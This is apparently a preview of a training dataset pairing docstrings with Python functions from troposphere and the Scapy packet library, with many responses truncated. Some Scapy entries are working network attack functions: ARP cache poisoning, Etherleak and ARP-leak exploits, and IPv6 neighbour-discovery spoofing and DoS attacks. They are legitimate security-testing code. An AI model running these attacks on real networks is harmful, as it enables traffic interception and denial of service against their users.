INSTRUCTION
stringlengths
1
46.3k
RESPONSE
stringlengths
75
80.2k
Inspects the definition and returns a copy of it that is updated with any special property such as Condition, UpdatePolicy and the like.
def _normalize_properties(self, definition): """ Inspects the definition and returns a copy of it that is updated with any special property such as Condition, UpdatePolicy and the like. """ args = definition.get('Properties', {}).copy() if 'Condition' in definitio...
Dynamically allocates a new CustomResource class definition using the specified Custom::SomeCustomName resource type. This special resource type is equivalent to the AWS::CloudFormation::CustomResource.
def _generate_custom_type(self, resource_type): """ Dynamically allocates a new CustomResource class definition using the specified Custom::SomeCustomName resource type. This special resource type is equivalent to the AWS::CloudFormation::CustomResource. """ if not resour...
Provides special handling for the autoscaling.Metadata object
def _generate_autoscaling_metadata(self, cls, args): """ Provides special handling for the autoscaling.Metadata object """ assert isinstance(args, Mapping) init_config = self._create_instance( cloudformation.InitConfig, args['AWS::CloudFormation::Init']['config']) ...
Returns the function object that matches the provided name. Only Fn:: and Ref functions are supported here so that other functions specific to troposphere are skipped.
def _get_function_type(self, function_name): """ Returns the function object that matches the provided name. Only Fn:: and Ref functions are supported here so that other functions specific to troposphere are skipped. """ if (function_name.startswith("Fn::") and ...
Imports all troposphere modules and returns them
def _import_all_troposphere_modules(self): """ Imports all troposphere modules and returns them """ dirname = os.path.join(os.path.dirname(__file__)) module_names = [ pkg_name for importer, pkg_name, is_pkg in pkgutil.walk_packages([dirname], prefix="troposphe...
Choose the correct PCO element.
def PCO_option_dispatcher(s): """Choose the correct PCO element.""" option = orb(s[0]) cls = PCO_OPTION_CLASSES.get(option, Raw) return cls(s)
Choose the correct PCO element.
def PCO_protocol_dispatcher(s): """Choose the correct PCO element.""" proto_num = orb(s[0]) * 256 + orb(s[1]) cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw) return cls(s)
Get a Npcap parameter matching key in the registry. List: AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport WinPcapCompatible
def _get_npcap_config(param_key): """ Get a Npcap parameter matching key in the registry. List: AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport WinPcapCompatible """ hkey = winreg.HKEY_LOC...
Call a CMD command and return the output and returncode
def _exec_cmd(command): """Call a CMD command and return the output and returncode""" proc = sp.Popen(command, stdout=sp.PIPE, shell=True) if six.PY2: res = proc.communicate()[0] else: res = proc.communicate(timeout=5)[0] return res, proc.retur...
Returns windows interfaces through GetAdaptersAddresses. params: - extended: include anycast and multicast IPv6 (default False)
def get_windows_if_list(extended=False): """Returns windows interfaces through GetAdaptersAddresses. params: - extended: include anycast and multicast IPv6 (default False)""" # Should work on Windows XP+ def _get_mac(x): size = x["physical_address_length"] if size != 6: ...
Returns all available IPs matching to interfaces, using the windows system. Should only be used as a WinPcapy fallback.
def get_ips(v6=False): """Returns all available IPs matching to interfaces, using the windows system. Should only be used as a WinPcapy fallback.""" res = {} for iface in six.itervalues(IFACES): ips = [] for ip in iface.ips: if v6 and ":" in ip: ips.append(ip)...
Backward compatibility: indirectly calls get_ips Deprecated.
def get_ip_from_name(ifname, v6=False): """Backward compatibility: indirectly calls get_ips Deprecated.""" iface = IFACES.dev_from_name(ifname) return get_ips(v6=v6).get(iface, [""])[0]
Internal util to run pcap control command
def _pcap_service_control(action, askadmin=True): """Internal util to run pcap control command""" command = action + ' ' + pcap_service_name() res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command) if code != 0: warning(res.decode("utf8", errors="ignore")) return (code =...
Get the device pcap name by device name or Scapy NetworkInterface
def pcapname(dev): """Get the device pcap name by device name or Scapy NetworkInterface """ if isinstance(dev, NetworkInterface): if dev.is_invalid(): return None return dev.pcap_name try: return IFACES.dev_from_name(dev).pcap_name except ValueError: retu...
open_pcap: Windows routine for creating a pcap from an interface. This function is also responsible for detecting monitor mode.
def open_pcap(iface, *args, **kargs): """open_pcap: Windows routine for creating a pcap from an interface. This function is also responsible for detecting monitor mode. """ iface_pcap_name = pcapname(iface) if not isinstance(iface, NetworkInterface) and iface_pcap_name is not None: iface = I...
Retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won't get IPv6 routes.
def _read_routes_c_v1(): """Retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won't get IPv6 routes.""" def _extract_ip(obj): return inet_ntop(socket.AF_INET, struct.pack("<I", obj)) routes = [] for route in GetIpForwardTable(): ifIndex = route...
Retrieve Windows routes through a GetIpForwardTable2 call. This is not available on Windows XP !
def _read_routes_c(ipv6=False): """Retrieve Windows routes through a GetIpForwardTable2 call. This is not available on Windows XP !""" af = socket.AF_INET6 if ipv6 else socket.AF_INET sock_addr_name = 'Ipv6' if ipv6 else 'Ipv4' sin_addr_name = 'sin6_addr' if ipv6 else 'sin_addr' metric_name = '...
Returns all IPv6 addresses found on the computer
def in6_getifaddr(): """ Returns all IPv6 addresses found on the computer """ ifaddrs = [] ip6s = get_ips(v6=True) for iface in ip6s: ips = ip6s[iface] for ip in ips: scope = in6_getscope(ip) ifaddrs.append((ip, scope, iface)) # Appends Npcap loopback ...
Return an interface that works
def get_working_if(): """Return an interface that works""" try: # return the interface associated with the route with smallest # mask (route by default if it exists) iface = min(conf.route.routes, key=lambda x: x[1])[3] except ValueError: # no route iface = scapy.cons...
Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows
def route_add_loopback(routes=None, ipv6=False, iflist=None): """Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows""" if not WINDOWS: warning("Not available") return warning("This will completely mess up the routes. Testing purpose only !") # Add only if some adpaters al...
Update info about a network interface according to a given dictionary. Such data is provided by get_windows_if_list
def update(self, data): """Update info about a network interface according to a given dictionary. Such data is provided by get_windows_if_list """ self.data = data self.name = data['name'] self.description = data['description'] self.win_index = data['win_index'] ...
Internal function. Set a [key] parameter to [value]
def _npcap_set(self, key, val): """Internal function. Set a [key] parameter to [value]""" res, code = _exec_cmd(_encapsulate_admin( " ".join([_WlanHelper, self.guid[1:-1], key, val]) )) _windows_title() # Reset title of the window if code != 0: raise OSEr...
Returns True if the interface is in monitor mode. Only available with Npcap.
def ismonitor(self): """Returns True if the interface is in monitor mode. Only available with Npcap.""" if self.cache_mode is not None: return self.cache_mode try: res = (self.mode() == "monitor") self.cache_mode = res return res ex...
Alias for setmode('monitor') or setmode('managed') Only available with Npcap
def setmonitor(self, enable=True): """Alias for setmode('monitor') or setmode('managed') Only available with Npcap""" # We must reset the monitor cache if enable: res = self.setmode('monitor') else: res = self.setmode('managed') if not res: ...
Set the interface mode. It can be: - 0 or managed: Managed Mode (aka "Extensible Station Mode") - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and later) - 3 or wfd_device: The W...
def setmode(self, mode): """Set the interface mode. It can be: - 0 or managed: Managed Mode (aka "Extensible Station Mode") - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and lat...
Set the interface modulation. It can be: - 0: dsss - 1: fhss - 2: irbaseband - 3: ofdm - 4: hrdss - 5: erp - 6: ht - 7: vht - 8: ihv - 9: mimo-ofdm - 10: mimo-ofdm - the value directly ...
def setmodulation(self, modu): """Set the interface modulation. It can be: - 0: dsss - 1: fhss - 2: irbaseband - 3: ofdm - 4: hrdss - 5: erp - 6: ht - 7: vht - 8: ihv - 9: mimo-ofdm - 10: mim...
Performs checks/restart pcap adapter
def _pcap_check(cls): """Performs checks/restart pcap adapter""" if not conf.use_winpcapy: # Winpcap/Npcap isn't installed return _detect = pcap_service_status() def _ask_user(): if not conf.interactive: return False msg =...
Return the first pcap device name for a given Windows device name.
def dev_from_name(self, name): """Return the first pcap device name for a given Windows device name. """ try: return next(iface for iface in six.itervalues(self) if (iface.name == name or iface.description == name)) except (StopIteration, Runti...
Return Windows device name for given pcap device name.
def dev_from_pcapname(self, pcap_name): """Return Windows device name for given pcap device name.""" try: return next(iface for iface in six.itervalues(self) if iface.pcap_name == pcap_name) except (StopIteration, RuntimeError): raise ValueError("U...
Return interface name from interface index
def dev_from_index(self, if_index): """Return interface name from interface index""" try: if_index = int(if_index) # Backward compatibility return next(iface for iface in six.itervalues(self) if iface.win_index == if_index) except (StopIteration, ...
Reload interface list
def reload(self): """Reload interface list""" self.restarted_adapter = False self.data.clear() if conf.use_winpcapy: # Reload from Winpcapy from scapy.arch.pcapdnet import load_winpcapy load_winpcapy() self.load() # Reload conf.iface ...
Print list of available network interfaces in human readable form
def show(self, resolve_mac=True, print_result=True): """Print list of available network interfaces in human readable form""" res = [] for iface_name in sorted(self.data): dev = self.data[iface_name] mac = dev.mac if resolve_mac and conf.manufdb: ...
This function is called during sendrecv() routine to select the available sockets.
def select(sockets, remain=None): """This function is called during sendrecv() routine to select the available sockets. """ if remain is not None: max_timeout = remain / len(sockets) for s in sockets: if s.timeout > max_timeout: ...
Returns the right class for a given NTP packet.
def _ntp_dispatcher(payload): """ Returns the right class for a given NTP packet. """ # By default, calling NTP() will build a NTP packet as defined in RFC 5905 # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC. if payload is None: return NTPHeader else: ...
Check that the payload is long enough to build a NTP packet.
def pre_dissect(self, s): """ Check that the payload is long enough to build a NTP packet. """ length = len(s) if length < _NTP_PACKET_MIN_SIZE: err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE " err += "({})).".format(_NTP_PACKET_MIN_SIZE) ...
Specific: NTPHeader().haslayer(NTP) should return True.
def haslayer(self, cls): """Specific: NTPHeader().haslayer(NTP) should return True.""" if cls == "NTP": if isinstance(self, NTP): return True elif issubtype(cls, NTP): if isinstance(self, cls): return True return super(NTP, self).ha...
Handles NTPv4 extensions and MAC part (when authentication is used.)
def guess_payload_class(self, payload): """ Handles NTPv4 extensions and MAC part (when authentication is used.) """ plen = len(payload) if plen > _NTP_AUTH_MD5_TAIL_SIZE: return NTPExtensions elif plen == _NTP_AUTH_MD5_TAIL_SIZE: return NTPAuthen...
There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. Note that skip_first is opposite from the one with SSLv3 derivation. Also, if needed, the IV should be set elsewhere.
def sslv2_derive_keys(self, key_material): """ There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. Note that skip_first is opposite from the one with SSLv3 derivation. Also, if needed, the IV should be set elsewhere. """ skip_first = True if ((sel...
This is used mostly as a way to keep the cipher state and the seq_num.
def snapshot(self): """ This is used mostly as a way to keep the cipher state and the seq_num. """ snap = connState(connection_end=self.connection_end, read_or_write=self.row, seq_num=self.seq_num, compression_alg...
This function takes a tlsSession object and swaps the IP addresses, ports, connection ends and connection states. The triggered_commit are also swapped (though it is probably overkill, it is cleaner this way). It is useful for static analysis of a series of messages from both the client...
def mirror(self): """ This function takes a tlsSession object and swaps the IP addresses, ports, connection ends and connection states. The triggered_commit are also swapped (though it is probably overkill, it is cleaner this way). It is useful for static analysis of a series of...
Ciphers key and IV are updated accordingly for 0-RTT data. self.handshake_messages should be ClientHello only.
def compute_tls13_early_secrets(self): """ Ciphers key and IV are updated accordingly for 0-RTT data. self.handshake_messages should be ClientHello only. """ # we use the prcs rather than the pwcs in a totally arbitrary way if self.prcs is None: # too soon ...
Ciphers key and IV are updated accordingly for Application data. self.handshake_messages should be ClientHello...ServerFinished.
def compute_tls13_traffic_secrets(self): """ Ciphers key and IV are updated accordingly for Application data. self.handshake_messages should be ClientHello...ServerFinished. """ hkdf = self.prcs.hkdf self.tls13_master_secret = hkdf.extract(self.tls13_handshake_secret, ...
self.handshake_messages should be ClientHello...ClientFinished.
def compute_tls13_resumption_secret(self): """ self.handshake_messages should be ClientHello...ClientFinished. """ if self.connection_end == "server": hkdf = self.prcs.hkdf elif self.connection_end == "client": hkdf = self.pwcs.hkdf rs = hkdf.deriv...
Rebuild the TLS packet with the same context, and then .show() it. We need self.__class__ to call the subclass in a dynamic way. Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. We have to bring back the init states (it's possible the cipher context has been update...
def show2(self): """ Rebuild the TLS packet with the same context, and then .show() it. We need self.__class__ to call the subclass in a dynamic way. Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. We have to bring back the init states (it's possible the c...
Guess the correct LLS class for a given payload
def _LLSGuessPayloadClass(p, **kargs): """ Guess the correct LLS class for a given payload """ cls = conf.raw_layer if len(p) >= 3: typ = struct.unpack("!H", p[0:2])[0] clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV") cls = globals()[clsname] return cls(p, **kargs)
Guess the correct OSPFv3 LSA class for a given payload
def _OSPFv3_LSAGuessPayloadClass(p, **kargs): """ Guess the correct OSPFv3 LSA class for a given payload """ cls = conf.raw_layer if len(p) >= 6: typ = struct.unpack("!H", p[2:4])[0] clsname = _OSPFv3_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs)
Return MAC address corresponding to a given IP address
def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip, Net): ip = next(iter(ip)) ip = inet_ntoa(inet_aton(ip or "0.0.0.0")) tmp = [orb(e) for e in inet_aton(ip)] if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%...
Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None
def arpcachepoison(target, victim, interval=60): """Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None """ tmac = getmacbyip(target) p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target) try: while True: sendp(p,...
Try to guess if target is in Promisc mode. The target is provided by its ip.
def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs): """Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501 responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501 ret...
Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)
def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): """Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)""" ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net), filter="arp and arp[7] = 2", timeout=time...
Exploit Etherleak flaw
def etherleak(target, **kargs): """Exploit Etherleak flaw""" return srp(Ether() / ARP(pdst=target), prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501 filter="arp", **kargs)
Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc
def arpleak(target, plen=255, hwlen=255, **kargs): """Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc """ # We want explicit packets pkts_iface = {} for pkt in ARP(pdst=target): # We have to do some of Scapy's ...
This function decompresses a string s, starting from the given pointer. :param s: the string to decompress :param pointer: first pointer on the string (default: 0) :param pkt: (optional) an InheritOriginDNSStrPacket packet :returns: (decoded_string, end_index, left_string)
def dns_get_str(s, pointer=0, pkt=None, _fullpacket=False): """This function decompresses a string s, starting from the given pointer. :param s: the string to decompress :param pointer: first pointer on the string (default: 0) :param pkt: (optional) an InheritOriginDNSStrPacket packet :returns...
Encodes a bytes string into the DNS format :param x: the string :param check_built: detect already-built strings and ignore them :returns: the encoded bytes string
def dns_encode(x, check_built=False): """Encodes a bytes string into the DNS format :param x: the string :param check_built: detect already-built strings and ignore them :returns: the encoded bytes string """ if not x or x == b".": return b"\x00" if check_built and b"." not in x an...
This function compresses a DNS packet according to compression rules.
def dns_compress(pkt): """This function compresses a DNS packet according to compression rules. """ if DNS not in pkt: raise Scapy_Exception("Can only compress DNS layers") pkt = pkt.copy() dns_pkt = pkt.getlayer(DNS) build_pkt = raw(dns_pkt) def field_gen(dns_pkt): """Itera...
Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record.
def RRlist2bitmap(lst): """ Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record. """ # RFC 4034, 4.1.2. The Type Bit Maps Field import math bitmap = b"" lst = [abs(x) for x in sorted(set(lst)) if x <= 65535] # number of window...
Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136
def dyndns_add(nameserver, name, rdata, type="A", ttl=10): """Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136 """ zone = name[name.find("....
Unpack the internal representation.
def _convert_seconds(self, packed_seconds): """Unpack the internal representation.""" seconds = struct.unpack("!H", packed_seconds[:2])[0] seconds += struct.unpack("!I", packed_seconds[2:])[0] return seconds
Convert the number of seconds since 1-Jan-70 UTC to the packed representation.
def h2i(self, pkt, seconds): """Convert the number of seconds since 1-Jan-70 UTC to the packed representation.""" if seconds is None: seconds = 0 tmp_short = (seconds >> 32) & 0xFFFF tmp_int = seconds & 0xFFFFFFFF return struct.pack("!HI", tmp_short, tmp...
Convert the internal representation to a nice one using the RFC format.
def i2repr(self, pkt, packed_seconds): """Convert the internal representation to a nice one using the RFC format.""" time_struct = time.gmtime(self._convert_seconds(packed_seconds)) return time.strftime("%a %b %d %H:%M:%S %Y", time_struct)
DEV: true if self is an answer from other
def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return (other.service + 0x40) == self.service or \ (self.service == 0x7f and (self.requestServiceId == other.service)) return 0
Sends and receive an ICMPv6 Neighbor Solicitation message This function sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address address. 'src' address is used as source of the message. Message is sent on iface. By default, timeout waiting for an...
def neighsol(addr, src, iface, timeout=1, chainCC=0): """Sends and receive an ICMPv6 Neighbor Solicitation message This function sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address address. 'src' address is used as source of the message. Mes...
Returns the MAC address corresponding to an IPv6 address neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to perform the resolution, if needed)
def getmacbyip6(ip6, chainCC=0): """Returns the MAC address corresponding to an IPv6 address neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to per...
As Specified in RFC 2460 - 8.1 Upper-Layer Checksums Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all under layers (IPv6 and all extension head...
def in6_chksum(nh, u, p): """ As Specified in RFC 2460 - 8.1 Upper-Layer Checksums Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all und...
Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters.
def defragment6(packets): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ # Remove non fragments lst = [x for x in packets if IPv6ExtHdrFragment in x] if not lst: return [] id = lst[0...
Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragment class, it is returned in result li...
def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragm...
Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implemented !!!
def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implement...
Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list.
def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] c...
Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below.
def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below. """ def is_request(req, mac_src_f...
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By defau...
def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS...
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a NA reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By def...
def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a ...
The main purpose of this function is to send fake Neighbor Advertisement messages to a victim. As the emission of unsolicited Neighbor Advertisement is pretty pointless (from an attacker standpoint) because it will not lead to a modification of a victim's neighbor cache, the function send advertisements...
def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None, router=False): """ The main purpose of this function is to send fake Neighbor Advertisement messages to a victim. As the emission of unsolicited Neighbor Advertisement is pretty pointl...
The main purpose of this function is to send fake Neighbor Solicitations messages to a victim, in order to either create a new entry in its neighbor cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated that a node SHOULD create the entry or update an existing one (if it is not cur...
def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", dst=None, src_mac=None, dst_mac=None, loop=True, inter=1, iface=None): """ The main purpose of this function is to send fake Neighbor Solicitations messages to a victim, in order...
The purpose of the function is to monitor incoming RA messages sent by default routers (RA with a non-zero Router Lifetime values) and invalidate them by immediately replying with fake RA messages advertising a zero Router Lifetime value. The result on receivers is that the router is immediately invali...
def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, ip_src_filter=None, reply_mac=None, tgt_mac=None): """ The purpose of the function is to monitor incoming RA messages sent by default routers (RA with a non-zero Router L...
The purpose of this function is to send provided RA message at layer 2 (i.e. providing a packet starting with IPv6 will not work) in response to received RS messages. In the end, the function is a simple wrapper around sendp() that monitor the link for RS messages. It is probably better explained with ...
def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, ip_src_filter=None): """ The purpose of this function is to send provided RA message at layer 2 (i.e. providing a packet starting with IPv6 will not work) in response to received RS messages. In the end, the funct...
Used to select the L2 address
def route(self): """Used to select the L2 address""" dst = self.dst if isinstance(dst, Gen): dst = next(iter(dst)) return conf.route6.route(dst)
Extract the IPv6 payload
def extract_padding(self, data): """Extract the IPv6 payload""" if self.plen == 0 and self.nh == 0 and len(data) >= 8: # Extract Hop-by-Hop extension length hbh_len = orb(data[1]) hbh_len = 8 + hbh_len * 8 # Extract length from the Jumbogram option ...
Compute the 'sources_number' field when needed
def post_build(self, packet, payload): """Compute the 'sources_number' field when needed""" if self.sources_number is None: srcnum = struct.pack("!H", len(self.sources)) packet = packet[:26] + srcnum + packet[28:] return _ICMPv6.post_build(self, packet, payload)
Compute the 'records_number' field when needed
def post_build(self, packet, payload): """Compute the 'records_number' field when needed""" if self.records_number is None: recnum = struct.pack("!H", len(self.records)) packet = packet[:6] + recnum + packet[8:] return _ICMPv6.post_build(self, packet, payload)
Parse provided json to get configuration Empty default json: { "testfiles": [], "breakfailed": true, "onlyfailed": false, "verb": 3, "dump": 0, "crc": true, "scapy": "scapy", "preexec": {}, "global_preexec": "", "outputfile": null, "local": true,...
def parse_config_file(config_path, verb=3): """Parse provided json to get configuration Empty default json: { "testfiles": [], "breakfailed": true, "onlyfailed": false, "verb": 3, "dump": 0, "crc": true, "scapy": "scapy", "preexec": {}, "global_preexec":...
Add the endianness to the format
def set_endianess(self, pkt): """Add the endianness to the format""" end = self.endianess_from(pkt) if isinstance(end, str) and end: if isinstance(self.fld, UUIDField): self.fld.uuid_fmt = (UUIDField.FORMAT_LE if end == '<' else UU...
retrieve the field with endianness
def getfield(self, pkt, buf): """retrieve the field with endianness""" self.set_endianess(pkt) return self.fld.getfield(pkt, buf)
add the field with endianness to the buffer
def addfield(self, pkt, buf, val): """add the field with endianness to the buffer""" self.set_endianess(pkt) return self.fld.addfield(pkt, buf, val)
dispatch_hook to choose among different registered payloads
def dispatch_hook(cls, _pkt, _underlayer=None, *args, **kargs): """dispatch_hook to choose among different registered payloads""" for klass in cls._payload_class: if hasattr(klass, "can_handle") and \ klass.can_handle(_pkt, _underlayer): return klass ...
_detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501 multiple bytes or not. A multibyte representation is indicated by all of the first size bits being set # noqa: E501 @param str fb: first byte, as a character. @return bool: True if multibyt...
def _detect_multi_byte(self, fb): # type: (str) -> bool """ _detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501 multiple bytes or not. A multibyte representation is indicated by all of the first size bits being set # noqa: E501 @para...
_parse_multi_byte parses x as a multibyte representation to get the int value of this AbstractUVarIntField. @param str s: the multibyte string to parse. @return int: The parsed int value represented by this AbstractUVarIntField. # noqa: E501 @raise: AssertionError @raise: Sca...
def _parse_multi_byte(self, s): # type: (str) -> int """ _parse_multi_byte parses x as a multibyte representation to get the int value of this AbstractUVarIntField. @param str s: the multibyte string to parse. @return int: The parsed int value represented by this AbstractUVarI...
A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501 were consumed by another field. This field consumes the remaining bits, therefore the int of the tuple must # noqa: E501 equal "size". @param packet.Packet|None pkt: un...
def m2i(self, pkt, x): # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int """ A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501 were consumed by another field. This field consumes the remaining...
An AbstractUVarIntField prefix always consumes the remaining bits of a BitField;if no current BitField is in use (no tuple in entry) then the prefix length is 8 bits and the whole byte is to be consumed @param packet.Packet|None pkt: the packet containing this field. Probably unuse...
def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str # noqa: E501 """ An AbstractUVarIntField prefix always consumes the remaining bits of a BitField;if no current BitField is in use (no tuple in entry) then the prefix leng...
A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501 None is returned as is. @param packet.Packet|None pkt: the packet containing this field; probably unused. # noqa: E501 @param str|int|None x: the value to convert. ...
def any2i(self, pkt, x): # type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int] # noqa: E501 """ A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501 None is returned as is. @param pack...
h2i is overloaded to restrict the acceptable x values (not None) @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 @param int x: the value to convert. @return int: the converted value. @raise AssertionError
def h2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ h2i is overloaded to restrict the acceptable x values (not None) @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 @param int x: the value to convert....
i2repr is overloaded to restrict the acceptable x values (not None) @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 @param int x: the value to convert. @return str: the converted value.
def i2repr(self, pkt, x): # type: (Optional[packet.Packet], int) -> str """ i2repr is overloaded to restrict the acceptable x values (not None) @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 @param int x: the value to co...
Computes the value of this field based on the provided packet and the length_of field and the adjust callback @param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501 @return int: the computed value for this field. @raise KeyError: the packet nor its p...
def _compute_value(self, pkt): # type: (packet.Packet) -> int """ Computes the value of this field based on the provided packet and the length_of field and the adjust callback @param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501 @return int...
huffman_encode returns the bitstring and the bitlength of the bitstring representing the string provided as a parameter @param str s: the string to encode @return (int, int): the bitstring of s and its bitlength @raise AssertionError
def huffman_encode(cls, s): # type: (str) -> Tuple[int, int] """ huffman_encode returns the bitstring and the bitlength of the bitstring representing the string provided as a parameter @param str s: the string to encode @return (int, int): the bitstring of s and its bitlength ...
huffman_encode_char assumes that the static_huffman_tree was previously initialized @param str|EOS c: a symbol to encode @return (int, int): the bitstring of the symbol and its bitlength @raise AssertionError
def _huffman_encode_char(cls, c): # type: (Union[str, EOS]) -> Tuple[int, int] """ huffman_encode_char assumes that the static_huffman_tree was previously initialized @param str|EOS c: a symbol to encode @return (int, int): the bitstring of the symbol and its bitlength @...
